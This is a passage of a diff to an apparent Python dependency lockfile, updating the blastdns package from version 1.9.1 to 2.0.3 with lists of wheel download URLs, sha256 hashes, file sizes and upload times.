"sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15", size = 2512967, upload-time = "2026-04-15T20:31:44.564Z" }, - { url = "https://files.pythonhosted.org/packages/5b/fd/38b3d4986f984eb9f61987f312fb851c3c7943678f7685ff1803ac061eb8/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f", size = 2622821, upload-time = "2026-04-15T20:32:32.222Z" }, - { url = "https://files.pythonhosted.org/packages/a3/84/0f0a9d767389b43edeae21f2665c5c745e2e4a056c697515962a7b4fe463/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484", size = 2593955, upload-time = "2026-04-15T20:32:45.822Z" }, - { url = "https://files.pythonhosted.org/packages/8d/53/04ece144df58ae2af74607fa63f38d3345f56ab32e3fce31e99d2b358019/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632", size = 2670065, upload-time = "2026-04-15T20:32:59.942Z" }, - { url = "https://files.pythonhosted.org/packages/bd/92/6ae1976ec0a8d1b4b7946c3203cda4637bb5a261126eb8f46004d2af0297/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5", size = 2688595, upload-time = "2026-04-15T20:33:14.533Z" }, - { url = "https://files.pythonhosted.org/packages/88/f0/c44a8092fae154af9fc74d21ae3639a1544500c0a0516dc31a8a086d3ad4/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286", size = 2452601, upload-time = "2026-04-15T20:31:04.974Z" }, - { url = "https://files.pythonhosted.org/packages/08/3c/d3136a70d9b8dc3349a3a11753b5cd459168fe244ae983d0d5ba81e2d6be/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7", size = 2322996, upload-time = "2026-04-15T20:31:19.091Z" }, - { url = "https://files.pythonhosted.org/packages/64/a1/3dea21c2a56f85e9ca11b97cef0282b40737c9c1f35769ace9c4501aa790/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d", size = 2560325, upload-time = "2026-04-15T20:31:58.318Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9f/46ba0541a4f2c9f473b6841983a5760dd18462ddcf702f6569328aa9de01/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a", size = 3522302, upload-time = "2026-04-15T20:31:34.43Z" }, - { url = "https://files.pythonhosted.org/packages/b9/9d/e2fdd3f5bfddf50b37d243fcfced48a3352d1e573c7f025229c67e3bbf00/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282", size = 2510299, upload-time = "2026-04-15T20:31:47.831Z" }, - { url = "https://files.pythonhosted.org/packages/fc/10/a981c619876586b6b4a9763e80eea405ff7f3917ab3b5d35bc9db2565123/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520", size = 2444480, upload-time = "2026-04-15T20:32:09.231Z" }, - { url = "https://files.pythonhosted.org/packages/45/0d/7451f1a7bea17f39b25fe3ddbc74271c31c0b8b81b84cf5fb5b8f01ba1ed/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff", size = 2629253, upload-time = "2026-04-15T20:32:35.696Z" }, - { url = "https://files.pythonhosted.org/packages/b7/a1/ef1c8049ada69185f6276e42c33e50d18cea464037195bbf9260a3da8d64/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3", size = 2598351, upload-time = "2026-04-15T20:32:48.896Z" }, - { url = "https://files.pythonhosted.org/packages/d9/b4/dbc258187d079a86487f9b26761430f8f4ff531814d710caab66b388f402/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385", size = 2679763, upload-time = "2026-04-15T20:33:02.936Z" }, - { url = "https://files.pythonhosted.org/packages/1e/01/480f3c5e54abf85b6accdc25635a10428720f9f2fa6b95c89d59e35f2912/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619", size = 2694305, upload-time = "2026-04-15T20:33:17.253Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/c4/7b/ca0d7f68b3e79cbcb9ea6d40937e058d439399dc19d36f7ac5a5d7779868/blastdns-2.0.3.tar.gz", hash = "sha256:5f5dd3975cf1fc0d3787ae435af391bc2f972ead4e88903259ac87b57a640381", size = 208595, upload-time = "2026-11-05T18:49:56.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a3/5e/19f25ddcc98a0f00ac8cce47be6c5a6810cc676f37708aa1798f3b70c340/blastdns-2.0.3-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:54d0cf8ec1f5ba65b5c6e8fb431b803e6dfb54481ac5c1a74933004a272ab8b5", size = 2857220, upload-time = "2026-11-05T18:47:29.987Z" }, + { url = "https://files.pythonhosted.org/packages/10/c9/79167291be4416306bd7a17ae458153ef147b7dce2866182eea500475396/blastdns-2.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d055373b8bad1acd84e10378f9b1db07f0a290bd2f43f418868b47c09395a771", size = 2740530, upload-time = "2026-11-05T18:47:31.571Z" }, + { url = "https://files.pythonhosted.org/packages/7a/f3/3267a4497c399b91de2190c406e858f9c4acebbb6fda54d934f37b4cf472/blastdns-2.0.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5ce781adf95f7299051f8597fc2508d5bcce3c64bebdf1ebc5d3e1202b30cdb7", size = 2763917, upload-time = "2026-11-05T18:47:33.043Z" }, + { url = "https://files.pythonhosted.org/packages/48/11/f63eb2eb23509bb5d65466033e742efa14800854a1fac20532313f7058f4/blastdns-2.0.3-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:759def674ba02b5ef26ab333167bc15bc2e75d242b784940b99ba0948f282047", size = 2629628, upload-time = "2026-11-05T18:47:34.608Z" }, + { url = "https://files.pythonhosted.org/packages/0d/29/ed4e20f98cdf0b43a2111eff3d5f273c37121d25d0a6fd53581b7f6fc481/blastdns-2.0.3-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:3032e726fdb0a44a23263ed45b46c51f637e5362ace759b68fd922dafb97bb17", size = 2884482, upload-time = "2026-11-05T18:47:36.238Z" }, + { url = "https://files.pythonhosted.org/packages/2a/70/ca611f525784ef7fd2dd5701e4dd1a754db563e695cebbb29feff970a0f9/blastdns-2.0.3-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:357967ab3153d1e0fb8df3b315ce71689d3f56b188a13459b438ec414b33620f", size = 3890660, upload-time = "2026-11-05T18:47:38.403Z" }, + { url = "https://files.pythonhosted.org/packages/bd/d0/863c522398582d9352421ffdb6e33d0f79a8146736aec3630bbec0bd4e30/blastdns-2.0.3-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:7d872fa6572bfd1da970fe4a302e011b4895778008668f0039be65ce96ae08ac", size = 2828795, upload-time = "2026-11-05T18:47:40.421Z" }, + { url = "https://files.pythonhosted.org/packages/09/76/09e9ae2daa7603127a9f354a9aec68b3cd860ede092c66678c5c3cad1893/blastdns-2.0.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:96370290ef8f94f905f7be6335c4636a3bd047f1dd24c82d69dd656a2f82d2da", size = 2686937, upload-time = "2026-11-05T18:47:42.327Z" }, + { url = "https://files.pythonhosted.org/packages/f4/3f/b4c9a316024141ed4b709dffade24a721ebab539d59a59f43ce319dda31f/blastdns-2.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:743174fce504da3ebc8eebc286e47a780b786c86c30e5c5669e213aaeedd3d88", size = 2941869, upload-time = "2026-11-05T18:47:43.874Z" }, + { url = "https://files.pythonhosted.org/packages/d1/f9/44a764f19cbb45ee9dc5f1179e6fa0c0cc050d5e7fe66360fd0d6f0f0bde/blastdns-2.0.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:efef81e408eb627221887b4f86b6200936e6add452aca00afe39229e1122b2a5", size = 2904547, upload-time = "2026-11-05T18:47:45.578Z" }, + { url = "https://files.pythonhosted.org/packages/f4/83/1c5aa5f9ac3207dc80f587e3c3bf16b267266e7f5a029c4974434f24d19e/blastdns-2.0.3-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:475d7dd8a6f8dd841cad4d58fd4c24258d0f827f876820b27d2fd5f2bf04a33a", size = 2998526, upload-time = "2026-11-05T18:47:47.603Z" }, + { url = "https://files.pythonhosted.org/packages/65/25/48d3e3ca0fbfb77c77939ffc121385a40c3d909c98bd04ff0bd45aa299c0/blastdns-2.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fc2fdcfae3f3b18f609d4d99dfb5e370274878cada4ff80a365ba07036fc592b", size = 3005802, upload-time = "2026-11-05T18:47:49.324Z" }, + { url = "https://files.pythonhosted.org/packages/8f/4f/0a6e9287a22c60c604ecb76c32bbc841db21a3bef3fa45485d5ccfb2e81f/blastdns-2.0.3-cp311-cp311-win32.whl", hash = "sha256:17559426f56175e2346365d21fe5d31d4986c9111688cfcc1b73e354d93860e5", size = 2433889, upload-time = "2026-11-05T18:47:50.888Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0f/b3ea1bb5eba23ab7186c95a16e829e1dfb94d62d00e94c52facceecd0619/blastdns-2.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:1cf2668ba1e33bf883e80230d45ae00fd93680bd36e75abffa096d1210d8308f", size = 2949628, upload-time = "2026-11-05T18:47:52.445Z" }, + { url = "https://files.pythonhosted.org/packages/66/18/cd76930f3c8d268e0b5c65186ee06b4970cb22a33d6a3dc94c122fb11690/blastdns-2.0.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b71eb177ef9338e97a2f844e99ded9069dadbb3c8ba81fb10de0f219d34130d0", size = 2856837, upload-time = "2026-11-05T18:47:54.503Z" }, + { url = "https://files.pythonhosted.org/packages/65/8a/5b04925cc74938cf1d03f2fcd4fe8d532b9c10c4313ab66fa35a4a1182ca/blastdns-2.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a7de9114aefec1fd8e00266ceef77406712ca052c07aa97c7dc55441d6dd9fa2", size = 2734517, upload-time = "2026-11-05T18:47:56.293Z" }, + { url = "https://files.pythonhosted.org/packages/29/f7/3e1223f5b2f4ca5fd842d126d665117602797396f502fc66f85e867e8162/blastdns-2.0.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:6ac54c5bac76edaa87bb3b1a6cadeb9a072493daf976366906a223d8e21ee9bc", size = 2753205, upload-time = "2026-11-05T18:47:58.183Z" }, + { url = "https://files.pythonhosted.org/packages/50/f8/d33926c72bbab71a13bdfd71e8652964b64603e3bc26640d5f2dd7083e96/blastdns-2.0.3-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:f035cdc809ce208ee270cd4b86fee26995a4a80dd71786cda9f71d29e0d1214e", size = 2627743, upload-time = "2026-11-05T18:47:59.836Z" }, + { url = "https://files.pythonhosted.org/packages/77/4f/3cc0e32b105fe1f01d200fa67d410dd1bc42b7a17e61fdd300ef7e7b9bd0/blastdns-2.0.3-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:25f310ba842d7a47502175f23a4b1da3103660acc6be77aa788ed7b9cfee5397", size = 2876087, upload-time = "2026-11-05T18:48:01.666Z" }, + { url = "https://files.pythonhosted.org/packages/51/45/8f54ae0a6e2046f2f1dbcb0dcb4e69539adbdcf2425919c67decc2d4189a/blastdns-2.0.3-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:7f47f4ec86909044ee38d835ab1100c2ebd4eb169579f08ee5922c5920eddb60", size = 3880187, upload-time = "2026-11-05T18:48:03.751Z" }, + { url = "https://files.pythonhosted.org/packages/bf/0d/af74a6d3192d6f3f10965f09142b7d17439aa5d7ea0d46a65329f982647e/blastdns-2.0.3-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:f84cb762005d81c875c3a2a0448d3859bb46d376f1b12d53bf87f2f41448c0c9", size = 2822550, upload-time = "2026-11-05T18:48:05.305Z" }, + { url = "https://files.pythonhosted.org/packages/63/3b/e48afe641a1bc71fcddee560e9aea60bd588ebc9c7786b05676a813ab56e/blastdns-2.0.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:63095d2f055a4b2c95f184cf8cb33a97ee6ddff2d6f7fe4a20826c9847642a24", size = 2676912, upload-time = "2026-11-05T18:48:06.909Z" }, + { url = "https://files.pythonhosted.org/packages/c0/c5/d17e9efc1fe3b3fe488ed1038ab479f0f573b8feef58d48cdbb402e51bb6/blastdns-2.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:230aff87982142e1ccf854decc442b235bc7685a68871e855ea7e724642edd94", size = 2930221, upload-time = "2026-11-05T18:48:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/86/ad/1ba004ce801053c8732adb49d8f52cb7b93b20386d794074f1cd2a7b58da/blastdns-2.0.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:ba79a0add46a65bbaa902b165d27cb370134fcf43129828aaee2254e25b94bd7", size = 2900481, upload-time = "2026-11-05T18:48:10.449Z" }, + { url = "https://files.pythonhosted.org/packages/56/66/19b2db1a03d6cae5e96d317e43b97be938a5c64037fb42effde4dfa29390/blastdns-2.0.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4ed174a6170e185c4d34227d1302861efa31b6afebad21abc78c0b7fc19fb995", size = 2987867, upload-time = "2026-11-05T18:48:12.09Z" }, + { url = "https://files.pythonhosted.org/packages/69/f5/4c001b2e12e4186bd57d6e7e1bd676a7dd00be555392d4c352e2f2594774/blastdns-2.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:27c65fd2d3de13e08203f7b839bad3766de0d441a18c559af33f86498cb6b385", size = 2991261, upload-time = "2026-11-05T18:48:14.108Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5e/19b03fb40ac0e77c76db3952c0cf5664785c4d9b855ca0f38dfe8c361e29/blastdns-2.0.3-cp312-cp312-win32.whl", hash = "sha256:70bda712c26756a302305544751a454e8d39f63a53cd3025c54b6a2a4e7139dd", size = 2431721, upload-time = "2026-11-05T18:48:16.007Z" }, + { url = "https://files.pythonhosted.org/packages/70/a8/f943a8011b1aa60c071d6ee4b2d7a268de30fd4084cc0115153d1d7209b1/blastdns-2.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:a017a9f6a763e45386c5d92064624850d909476fe12f0b88305191680099e906", size = 2935770, upload-time = "2026-11-05T18:48:17.51Z" }, + { url = "https://files.pythonhosted.org/packages/7d/08/c878e20195623fdf8bd622c376cf9e4dc4f274d92ddba238cd9a9f76dade/blastdns-2.0.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:e7118b9a67f536e4a6800d62a87336c6143f86fd613b638debfc3fc8ffda6152", size = 2857888, upload-time = "2026-11-05T18:48:19.092Z" }, + { url = "https://files.pythonhosted.org/packages/87/de/311773933953f0b56fe8f80bab7808a8b8e5c36d5d885c8deaf3c773ff23/blastdns-2.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1e132ed77812635d8ea571942e7d4bc434bf7d4aebe72b263977907cc2441a2a", size = 2734276, upload-time = "2026-11-05T18:48:20.732Z" }, + { url = "https://files.pythonhosted.org/packages/be/29/1addba56354ec5c552dac5b2880ec713c3fbb40d56b0fcea63533789c802/blastdns-2.0.3-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:e7f6c5786f1fc3e024d38ff856c26fbf9841ec15fc5c91a3c259f8f2c98718be", size = 2752848, upload-time = "2026-11-05T18:48:22.349Z" }, + { url = "https://files.pythonhosted.org/packages/21/19/6889db26b1219084d3b7644ee14a5c3ac0ff51071698d43e2a5191cef7d6/blastdns-2.0.3-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:fd791b511e49fd71dd0cca6fea672c7737a3d3b0a831d4dac7770a263e44daf6", size = 2625256, upload-time = "2026-11-05T18:48:23.959Z" }, + { url = "https://files.pythonhosted.org/packages/cb/f1/1a3c1f19dc59423c38ae3ca14ef824a60632d8687145e8d70ab0821fdc97/blastdns-2.0.3-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:29fcbb0030e0e123e1e283a2003fc238b047436b499830cef29833e3ada2d72e", size = 2874352, upload-time = "2026-11-05T18:48:25.598Z" }, + { url = "https://files.pythonhosted.org/packages/86/ff/f272cca5109103c683715f60252b1656003cccf08bfb734cb065ba963de3/blastdns-2.0.3-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:f573bc4bae562155729b946298c90fb11c7ccfe07b2579985b9996c8c1aae9fc", size = 3877326, upload-time = "2026-11-05T18:48:27.172Z" }, + { url = "https://files.pythonhosted.org/packages/60/bf/e01b7c18194d17c77955d113e93f6679b3614921d78e1872a177d2a6ab15/blastdns-2.0.3-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:e835de1220b0861d01640cbd03e20e6549f2f4b7607a7792ab21d01b573fe91f", size = 2822740, upload-time = "2026-11-05T18:48:28.769Z" }, + { url = "https://files.pythonhosted.org/packages/73/1d/93b560fc1638954814629a565e75725ebd8c9db514cf540e8c80d4e3fb55/blastdns-2.0.3-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0c13c2d2f1bd99354473987cb05e100eb4f028aa99d9104307d833401965c9e2", size = 2677177, upload-time = "2026-11-05T18:48:30.245Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d8/c4ec7645eeeabbc1cc615968dad3b0ec9ca3b2a15c022aa7b52dcce5de16/blastdns-2.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:57fb08ef0ddc39053b4578941898f6f6899560afd951aaf7d89f2621f2ccf599", size = 2929245, upload-time = "2026-11-05T18:48:31.879Z" }, + { url = "https://files.pythonhosted.org/packages/bc/2f/c2af457f2ecdb872ad1c8f38631f7b58965b8dd4d0fdc3ed951d3332953e/blastdns-2.0.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:4224be8e487504f5e1e908cad6621b90155f0c8b6e6e0ed1d4b1e8d9c7c7e6e2", size = 2898456, upload-time = "2026-11-05T18:48:33.449Z" }, + { url = "https://files.pythonhosted.org/packages/25/a2/a02f2a8638122eed2ca09bf6f365be51a9a443c331aa2e500efbc539c504/blastdns-2.0.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:500d0fe7a1475f91a48f8b450c3c09194ba2de87b00fb9bda5dfc6890692f8ba", size = 2988064, upload-time = "2026-11-05T18:48:35.211Z" }, + { url = "https://files.pythonhosted.org/packages/d6/26/7889add7ba0afef8858583c2bf392378cbf53ca3a741ebe701a9eb6d7e29/blastdns-2.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:758596a648525a20c6a2624a848e32435b17a2778869f5adb6b7592ffdb2f482", size = 2990353, upload-time = "2026-11-05T18:48:36.842Z" }, + { url = "https://files.pythonhosted.org/packages/62/93/f79e44210c801c971f7ae2870db51d9fd232fc1dc6690c310311b95e2222/blastdns-2.0.3-cp313-cp313-win32.whl", hash = "sha256:1861b13aa733e437b1e801e22a48efd2c9fbc34056cd74c19db52d1444cdd68c", size = 2430944, upload-time = "2026-11-05T18:48:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/58/be/ce4bc45cfc453a182f76b7cd5174c75285d193aefeb10636eb241465d6e9/blastdns-2.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:4186d0c7fde31072f669f3a7efb99da93bfd770e7d6c369e43debde7686906dc", size = 2935005, upload-time = "2026-11-05T18:48:40.386Z" }, + { url = "https://files.pythonhosted.org/packages/e5/10/b787fdfb52fc07aef13600fb1978a83c53890a9e582d5f43be54daf3cc38/blastdns-2.0.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:9bfc28e48489bcd418129cad1269cb5116f2354e651f666c50b2b11637967afc", size = 2857234, upload-time = "2026-11-05T18:48:42.378Z" }, + { url = "https://files.pythonhosted.org/packages/ba/e5/423f0b64b215796470f8e301fd807996f9b356296fc2e497ee09ac72c8e8/blastdns-2.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ef150e9df8fb6b29f5a732ffb1660bc8eebd0db5cd1fc187f860771bd8c7fd35", size = 2737229, upload-time = "2026-11-05T18:48:43.909Z" }, + { url = "https://files.pythonhosted.org/packages/0c/83/435301a5d9f134c4056bb15663fac676d979c44ba394b593dd6dad420abc/blastdns-2.0.3-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:365af6f7eab43de302f7e1c63668cf87e57018b4088a5c7777270b2fa7c4f316", size = 2754844, upload-time = "2026-11-05T18:48:45.774Z" }, + { url = "https://files.pythonhosted.org/packages/25/c5/8e03df429ad1a05bebad542bbca5b39f47fbcf640494a92f0157bf391f1f/blastdns-2.0.3-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:1a07520ff781caa164e5d3f49ebf10dfba3f5aa4a6e120fe64488f774eb3885c", size = 2628381, upload-time = "2026-11-05T18:48:47.54Z" }, + { url = "https://files.pythonhosted.org/packages/e6/d3/033e3b455a2c15823a2cf64494d9cdb80d14f1a4b12ee6d2cd52d7b2bf93/blastdns-2.0.3-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:80127ed9490d71deecaee18819bcb9c3cd0e94b6503a9dedab1d35318d796cad", size = 2876117, upload-time = "2026-11-05T18:48:49.133Z" }, + { url = "https://files.pythonhosted.org/packages/b3/3f/64dcabfc7abc59fd4be95ab0ccfefe456a479ac3eb7fd77a0f22051a536f/blastdns-2.0.3-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:4efec04bd8f62a3f30c9421f910183f61ffaa34f7d28937d642dbc584c75bf46", size = 3881097, upload-time = "2026-11-05T18:48:50.633Z" }, + { url = "https://files.pythonhosted.org/packages/d3/c9/df882a7615e13fb68401407f2c225528e256aa9b498fdd90e07fb1492653/blastdns-2.0.3-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:4f7c2f26ff7bf7df682fa492451bb9958180952d8f96f48a9b95e476687f921f", size = 2822025, upload-time = "2026-11-05T18:48:52.278Z" }, + { url = "https://files.pythonhosted.org/packages/8f/9c/0906bbd1f9ac2aec6328e9ef8119148c9d6fda9188f994d82420a63a25a0/blastdns-2.0.3-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:07049c4f278875276fca2bd3c635ffc45f3f2b023d7fd98cb67cb4214ec3bc7c", size = 2677277, upload-time = "2026-11-05T18:48:53.76Z" }, + { url = "https://files.pythonhosted.org/packages/ef/a2/de16c2ddb932eea37b3bf0d7a0a0c913cacef58ad8899592bd711555f72b/blastdns-2.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:badeadd4ef62e587c834f54a07f5a2cfc0792c0f41908664db4e0f92fcfe2ab2", size = 2929500, upload-time = "2026-11-05T18:48:55.51Z" }, + { url = "https://files.pythonhosted.org/packages/18/84/7b24fd931d39ddf5ee8038f87c95dbf103288a92061edc6703e74fb9bd56/blastdns-2.0.3-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f836f74863c145ab701f827517043e3a6cc45f1fac7fb1a4081b4cb13a51989c", size = 2901722, upload-time = "2026-11-05T18:48:57.094Z" }, + { url = "https://files.pythonhosted.org/packages/03/43/73d589d3bf7af099fdb962a270246db5cb80e8683977ff7b0901daab47c1/blastdns-2.0.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:2d6925e078e171a761ac7dd9960b0b3ffa47c76458ca6aea382c2903a9ed5cb2", size = 2990340, upload-time = "2026-11-05T18:48:58.717Z" }, + { url = "https://files.pythonhosted.org/packages/68/fe/29ed403f9057f722a4c2ebdc7d71c4b247f693ef2a4bbb7a068bf2fd4119/blastdns-2.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:8afd33128efc82c442b34230a78987491f464576f0907c68150bf0795aa03baa", size = 2991545, upload-time = "2026-11-05T18:49:00.216Z" }, + { url = "https://files.pythonhosted.org/packages/9c/be/f9082f0dcf43fd8dde0d899fa506d07a73be3e1a23ea4ea630702dd14d94/blastdns-2.0.3-cp314-cp314-win32.whl", hash = "sha256:d363e53aa052325366b3fe5bf023903ffe4788c3db5651fc6c4aff503134fff9", size = 2431881, upload-time = "2026-11-05T18:49:01.713Z" }, + { url = "https://files.pythonhosted.org/packages/b3/ea/fe4033c14944771089105dcb7e2fe1293c1cac0e11cbcd8d25dee9cb7390/blastdns-2.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:517b9fe1ca8c72cd5763c696cb7cff674843bb89e817b086544a0076b982553f", size = 2934109, upload-time = "2026-11-05T18:49:03.878Z" }, + { url = "https://files.pythonhosted.org/packages/a3/15/8716d74acd42c1e85787ca799ff5c1139589e2f7d50503b26ed511af27d5/blastdns-2.0.3-cp315-cp315-macosx_10_12_x86_64.whl", hash = "sha256:2228ce86319fb6486551dc0e16f55c1027105b04eb8f20ae95ab837e48df0e03", size = 2857975, upload-time = "2026-11-05T18:49:05.438Z" }, + { url = "https://files.pythonhosted.org/packages/83/cd/029554f1d1a4bd2186d5b62d0a5397359b8705b73bcdd0ea9bf5abc5c9c1/blastdns-2.0.3-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:f19fb2022beead876eb0f487dc6b2d7b1f2f7f60f575ee422f468aa7470b7ef4", size = 2738224, upload-time = "2026-11-05T18:49:06.998Z" }, + { url = "https://files.pythonhosted.org/packages/eb/b3/d32739d49b5b283466912399a1866b9b83235ced539695525037cdaa7bdd/blastdns-2.0.3-cp315-cp315-manylinux_2_28_aarch64.whl", hash = "sha256:0484ebf4e87b734bcc5829af8e3669791aded224520b731aba91cabb64234e77", size = 2755948, upload-time = "2026-11-05T18:49:08.66Z" }, + { url = "https://files.pythonhosted.org/packages/81/b8/f97e01d056659ee9bae65a14a34c20304d00f3111637db4af4d2cd7f4c46/blastdns-2.0.3-cp315-cp315-manylinux_2_28_armv7l.whl", hash = "sha256:05cbaa17c17d3457517b4c20c597bbcaaf64b3b12fa10da402f6ce3a9118d392", size = 2628494, upload-time = "2026-11-05T18:49:10.293Z" }, + { url = "https://files.pythonhosted.org/packages/8a/4d/efca4253fd108999d5e3be7d2ffafecade5bd55e2f55c2a2a68080821d02/blastdns-2.0.3-cp315-cp315-manylinux_2_28_i686.whl", hash = "sha256:d761fb0b200cf87d76d5dfde6342378b989fee577bfd7186ad906784b1f1e3da", size = 2876229, upload-time = "2026-11-05T18:49:11.9Z" }, + { url = "https://files.pythonhosted.org/packages/45/29/88cbf5b105d225839df9cf8780029fdb297c9da496596e7b056a6b789b0c/blastdns-2.0.3-cp315-cp315-manylinux_2_28_ppc64le.whl", hash = "sha256:aa052d66bb8b5decd57ac67c885e040dbcf45cba05f63bee865e38cfc5e3b222", size = 3882728, upload-time = "2026-11-05T18:49:13.344Z" }, + { url = "https://files.pythonhosted.org/packages/3c/29/15c9cf070f53b216f541e7beffb9ff26dab88b3a79ab22f06ffd361eff80/blastdns-2.0.3-cp315-cp315-manylinux_2_28_s390x.whl", hash = "sha256:1bab2addaba28dc871d3bb507e2d448dcc00829d685094f8f5a99b78306deb29", size = 2823467, upload-time = "2026-11-05T18:49:15.033Z" }, + { url = "https://files.pythonhosted.org/packages/6c/58/3a8133c7401ce61d89603266e981edeec98d416e5c71d353be6c9ad050f8/blastdns-2.0.3-cp315-cp315-manylinux_2_28_x86_64.whl", hash = "sha256:a828e85ebc51c859537a7742b53007faa01a9576be5341297f4fb8d0ac864d8f", size = 2677916, upload-time = "2026-11-05T18:49:16.594Z" }, + { url = "https://files.pythonhosted.org/packages/69/21/6571644ff34bd11ff616bdfd3ea1a3a3783814005503239651296ab8a46b/blastdns-2.0.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:9e75e36ea6c40e9ed9964af7e9e5d5ce7ef62805adb68fce207e356a17a24a27", size = 2930802, upload-time = "2026-11-05T18:49:18.918Z" }, + { url = "https://files.pythonhosted.org/packages/cf/a2/fc157fcd2b1a25bd188a791393ffc9dc99b344263866e914c45f66017084/blastdns-2.0.3-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:f908061250de6305fe4ea00dce4499f6606e32a9714a583b1c86d064c0c20af7", size = 2903940, upload-time = "2026-11-05T18:49:21.433Z" }, + { url = 